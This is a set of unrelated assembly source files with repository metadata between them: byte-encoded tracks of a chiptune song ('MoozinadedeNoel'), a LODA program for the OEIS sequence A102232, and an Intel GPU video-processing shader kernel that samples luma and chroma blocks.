Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 29 ; Note: 53. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 24 ; Note: 48. db 31 ; Note: 55. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 152 ; Note: 48. db 2 ; New instrument: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 154 ; Note: 50. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track6 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 31 ; Note: 55. db 29 ; Note: 53. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 21 ; Note: 45. db 135 ; Note: 31. db 4 ; New instrument: 2. db 152 ; Note: 48. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 26 ; Note: 50. db 26 ; Note: 50. db 5 ; Note: 29. db 62 ; Short wait: 1. db 24 ; Note: 48. db 26 ; Note: 50. db 5 ; Note: 29. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 149 ; Note: 45. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 33 ; Note: 57. db 36 ; Note: 60. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 26 ; Note: 50. db 135 ; Note: 31. db 4 ; New instrument: 2. db 157 ; Note: 53. db 2 ; New instrument: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 31 ; Note: 55. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 33 ; Note: 57. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 24 ; Note: 48. db 26 ; Note: 50. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 154 ; Note: 50. db 2 ; New instrument: 1. db 0 ; Note: 24. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. db 149 ; Note: 45. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track7 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 31 ; Note: 55. db 33 ; Note: 57. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 26 ; Note: 50. db 135 ; Note: 31. db 4 ; New instrument: 2. db 157 ; Note: 53. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 26 ; Note: 50. db 26 ; Note: 50. db 5 ; Note: 29. db 62 ; Short wait: 1. db 21 ; Note: 45. db 24 ; Note: 48. db 5 ; Note: 29. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 149 ; Note: 45. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 38 ; Note: 62. db 36 ; Note: 60. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 36 ; Note: 60. db 135 ; Note: 31. db 4 ; New instrument: 2. db 166 ; Note: 62. db 2 ; New instrument: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 43 ; Note: 67. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 41 ; Note: 65. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 36 ; Note: 60. db 38 ; Note: 62. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 166 ; Note: 62. db 2 ; New instrument: 1. db 0 ; Note: 24. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. db 161 ; Note: 57. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track8 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 38 ; Note: 62. db 38 ; Note: 62. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 41 ; Note: 65. db 135 ; Note: 31. db 4 ; New instrument: 2. db 168 ; Note: 64. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 41 ; Note: 65. db 43 ; Note: 67. db 0 ; Note: 24. db 62 ; Short wait: 1. db 45 ; Note: 69. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 36 ; Note: 60. db 38 ; Note: 62. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 164 ; Note: 60. db 2 ; New instrument: 1. db 31 ; Note: 55. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 33 ; Note: 57. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 41 ; Note: 65. db 41 ; Note: 65. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 41 ; Note: 65. db 135 ; Note: 31. db 4 ; New instrument: 2. db 166 ; Note: 62. db 2 ; New instrument: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 36 ; Note: 60. db 38 ; Note: 62. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 33 ; Note: 57. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 38 ; Note: 62. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 169 ; Note: 65. db 2 ; New instrument: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 164 ; Note: 60. db 2 ; New instrument: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 166 ; Note: 62. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track9 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 45 ; Note: 69. db 45 ; Note: 69. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 41 ; Note: 65. db 135 ; Note: 31. db 4 ; New instrument: 2. db 171 ; Note: 67. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 41 ; Note: 65. db 38 ; Note: 62. db 5 ; Note: 29. db 62 ; Short wait: 1. db 41 ; Note: 65. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 38 ; Note: 62. db 41 ; Note: 65. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 161 ; Note: 57. db 2 ; New instrument: 1. db 36 ; Note: 60. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 38 ; Note: 62. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 38 ; Note: 62. db 38 ; Note: 62. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 45 ; Note: 69. db 135 ; Note: 31. db 4 ; New instrument: 2. db 166 ; Note: 62. db 2 ; New instrument: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 36 ; Note: 60. db 38 ; Note: 62. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 45 ; Note: 69. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 173 ; Note: 69. db 2 ; New instrument: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 171 ; Note: 67. db 2 ; New instrument: 1. db 0 ; Note: 24. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. db 166 ; Note: 62. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track10 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 63, 72 ; Escaped note: 72. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 45 ; Note: 69. db 135 ; Note: 31. db 4 ; New instrument: 2. db 169 ; Note: 65. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 38 ; Note: 62. db 45 ; Note: 69. db 5 ; Note: 29. db 62 ; Short wait: 1. db 43 ; Note: 67. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 38 ; Note: 62. db 41 ; Note: 65. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 161 ; Note: 57. db 2 ; New instrument: 1. db 36 ; Note: 60. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 38 ; Note: 62. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 38 ; Note: 62. db 38 ; Note: 62. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 41 ; Note: 65. db 135 ; Note: 31. db 4 ; New instrument: 2. db 171 ; Note: 67. db 2 ; New instrument: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 45 ; Note: 69. db 63, 72 ; Escaped note: 72. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 45 ; Note: 69. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 74 ; Escaped note: 74. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 72 ; Escaped note: 72. db 2 ; New instrument: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 74 ; Escaped note: 74. db 2 ; New instrument: 1. db 0 ; Note: 24. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. db 173 ; Note: 69. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track11 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 74 ; Escaped note: 74. db 2 ; Note: 26. db 45 ; Note: 69. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 72 ; Escaped note: 72. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 45 ; Note: 69. db 0 ; Note: 24. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 77 ; Escaped note: 77. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 173 ; Note: 69. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 77 ; Escaped note: 77. db 63, 77 ; Escaped note: 77. db 63, 21 ; Escaped note: 21. db 63, 76 ; Escaped note: 76. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 74 ; Escaped note: 74. db 2 ; New instrument: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 77 ; Escaped note: 77. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 72 ; Escaped note: 72. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 77 ; Escaped note: 77. db 2 ; New instrument: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 128 ; Note: 24. db 2 ; New instrument: 1. db 63, 74 ; Escaped note: 74. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 74 ; Escaped note: 74. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track12 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 63, 81 ; Escaped note: 81. db 63, 81 ; Escaped note: 81. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 63, 74 ; Escaped note: 74. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 77 ; Escaped note: 77. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 63, 81 ; Escaped note: 81. db 63, 77 ; Escaped note: 77. db 5 ; Note: 29. db 62 ; Short wait: 1. db 63, 79 ; Escaped note: 79. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 63, 74 ; Escaped note: 74. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 191, 77 ; Escaped note: 77. db 2 ; New instrument: 1. db 63, 77 ; Escaped note: 77. db 5 ; Note: 29. db 62 ; Short wait: 1. db 63, 79 ; Escaped note: 79. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 45 ; Note: 69. db 45 ; Note: 69. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 63, 72 ; Escaped note: 72. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 74 ; Escaped note: 74. db 2 ; New instrument: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 63, 81 ; Escaped note: 81. db 63, 81 ; Escaped note: 81. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 74 ; Escaped note: 74. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 191, 77 ; Escaped note: 77. db 2 ; New instrument: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 128 ; Note: 24. db 2 ; New instrument: 1. db 63, 74 ; Escaped note: 74. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. MoozinadedeNoel_Subsong0_Track13 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 63, 77 ; Escaped note: 77. db 63, 77 ; Escaped note: 77. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 63, 79 ; Escaped note: 79. db 62 ; Short wait: 1. db 63, 81 ; Escaped note: 81. db 2 ; Note: 26. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 63, 77 ; Escaped note: 77. db 5 ; Note: 29. db 62 ; Short wait: 1. db 63, 81 ; Escaped note: 81. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 63, 77 ; Escaped note: 77. db 63, 74 ; Escaped note: 74. db 5 ; Note: 29. db 190 ; Short wait: 3. db 63, 72 ; Escaped note: 72. db 63, 72 ; Escaped note: 72. db 5 ; Note: 29. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 45 ; Note: 69. db 45 ; Note: 69. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 63, 72 ; Escaped note: 72. db 62 ; Short wait: 1. db 41 ; Note: 65. db 7 ; Note: 31. db 62 ; Short wait: 1. db 38 ; Note: 62. db 41 ; Note: 65. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 74 ; Escaped note: 74. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 63, 72 ; Escaped note: 72. db 63, 72 ; Escaped note: 72. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 164 ; Note: 60. db 2 ; New instrument: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 128 ; Note: 24. db 2 ; New instrument: 1. db 38 ; Note: 62. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. MoozinadedeNoel_Subsong0_Track14 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 17 ; Note: 41. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 19 ; Note: 43. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 12 ; Note: 36. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 135 ; Note: 31. db 2 ; New instrument: 1. db 9 ; Note: 33. db 0 ; Note: 24. db 62 ; Short wait: 1. db 12 ; Note: 36. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 191, 21 ; Escaped note: 21. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 17 ; Note: 41. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 12 ; Note: 36. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 142 ; Note: 38. db 2 ; New instrument: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. MoozinadedeNoel_Subsong0_Track15 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 19 ; Note: 43. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 12 ; Note: 36. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 9 ; Note: 33. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 145 ; Note: 41. db 2 ; New instrument: 1. db 19 ; Note: 43. db 5 ; Note: 29. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 19 ; Note: 43. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 135 ; Note: 31. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 26 ; Note: 50. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 24 ; Note: 48. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 154 ; Note: 50. db 2 ; New instrument: 1. db 0 ; Note: 24. db 29 ; Note: 53. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. MoozinadedeNoel_Subsong0_Track16 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 12 ; Note: 36. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 152 ; Note: 48. db 2 ; New instrument: 1. db 21 ; Note: 45. db 0 ; Note: 24. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 191, 21 ; Escaped note: 21. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 26 ; Note: 50. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 33 ; Note: 57. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 28 ; Note: 52. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 31 ; Note: 55. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 154 ; Note: 50. db 2 ; New instrument: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 157 ; Note: 53. db 2 ; New instrument: 1. MoozinadedeNoel_Subsong0_Track17 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 33 ; Note: 57. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 29 ; Note: 53. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 21 ; Note: 45. db 24 ; Note: 48. db 5 ; Note: 29. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 147 ; Note: 43. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 5 ; Note: 29. db 62 ; Short wait: 1. db 14 ; Note: 38. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 19 ; Note: 43. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 190 ; Short wait: 3. db 7 ; Note: 31. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 24 ; Note: 48. db 62 ; Short wait: 1. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 26 ; Note: 50. db 29 ; Note: 53. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 21 ; Note: 45. db 190 ; Short wait: 3. db 24 ; Note: 48. db 62 ; Short wait: 1. db 26 ; Note: 50. db 62 ; Short wait: 1. MoozinadedeNoel_Subsong0DisarkByteRegionEnd0
20.94
103
0.619313
ba278632763430ca37fb22378cac19d4cea408ce
484
asm
Assembly
oeis/102/A102232.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/102/A102232.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/102/A102232.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A102232: Number of preferential arrangements of n labeled elements when at least k=three ranks are required. ; Submitted by Christian Krause ; 0,0,0,6,60,510,4620,47166,545580,7086750,102246540,1622630526,28091563500,526858340190,10641342954060,230283190945086,5315654681915820,130370767029004830,3385534663256583180,92801587319327886846,2677687796244383154540,81124824998504071784670 mov $3,$0 seq $0,52856 ; E.g.f.: (1-3*exp(x)+exp(2*x))/(exp(x)-2). mov $2,2 pow $2,$3 sub $0,$2
48.4
243
0.793388
404fbd0bf65866937a352b3a34f83e3c10013dad
2,545
asm
Assembly
src/shaders/post_processing/gen5_6/Core_Kernels/PL2_AVS_IEF_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/post_processing/gen5_6/Core_Kernels/PL2_AVS_IEF_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/post_processing/gen5_6/Core_Kernels/PL2_AVS_IEF_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ //---------- PL2_AVS_IEF_8x8.asm ---------- #include "AVS_IEF.inc" //------------------------------------------------------------------------------ // 2 sampler reads for 8x8 Y each // 1 sampler read for 8x8 U and 8x8 V (NV11\NV12 input surface) //------------------------------------------------------------------------------ // 1st 8x8 setup #include "AVS_SetupFirstBlock.asm" // Enable green channel only mov (1) rAVS_8x8_HDR.2:ud nAVS_GREEN_CHANNEL_ONLY:ud mov (16) mAVS_8x8_HDR.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs send (1) uwAVS_RESPONSE(0)<1> mAVS_8x8_HDR udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_1CH+nSI_SRC_Y+nBI_CURRENT_SRC_Y // Return Y in 4 GRFs // 8x8 U and V sampling // Enable red and blue channels mov (1) rAVS_8x8_HDR.2:ud nAVS_RED_BLUE_CHANNELS:ud // Calculate Chroma Step Size: // for H direction: 16 Luma samples are covered by 8 Chroma samples. Thus Chroma_Step_X = 2 * Luma_Step_X // for V direction: 8 Luma samples are covered by 8 Chroma samples. Thus Chroma_Step_Y = Luma_Step_Y mul (1) rAVS_PAYLOAD.1:f fVIDEO_STEP_X:f 2.0:f // Step X for chroma mov (16) mAVS_8x8_HDR_UV.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs send (1) uwAVS_RESPONSE(4)<1> mAVS_8x8_HDR_UV udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_2CH+nSI_SRC_UV+nBI_CURRENT_SRC_UV // Return U and V in 8 GRFs // 2nd 8x8 setup #include "AVS_SetupSecondBlock.asm" // 2nd 8x8 Y sampling // Enable green channel only mov (1) rAVS_8x8_HDR.2:ud nAVS_GREEN_CHANNEL_ONLY:ud mov (16) mAVS_8x8_HDR.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs send (1) uwAVS_RESPONSE_2(0)<1> mAVS_8x8_HDR udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_1CH+nSI_SRC_Y+nBI_CURRENT_SRC_Y //------------------------------------------------------------------------------ // Unpacking sampler reads to 4:2:2 internal planar //------------------------------------------------------------------------------ #include "PL2_AVS_IEF_Unpack_8x8.asm"
43.87931
133
0.582318
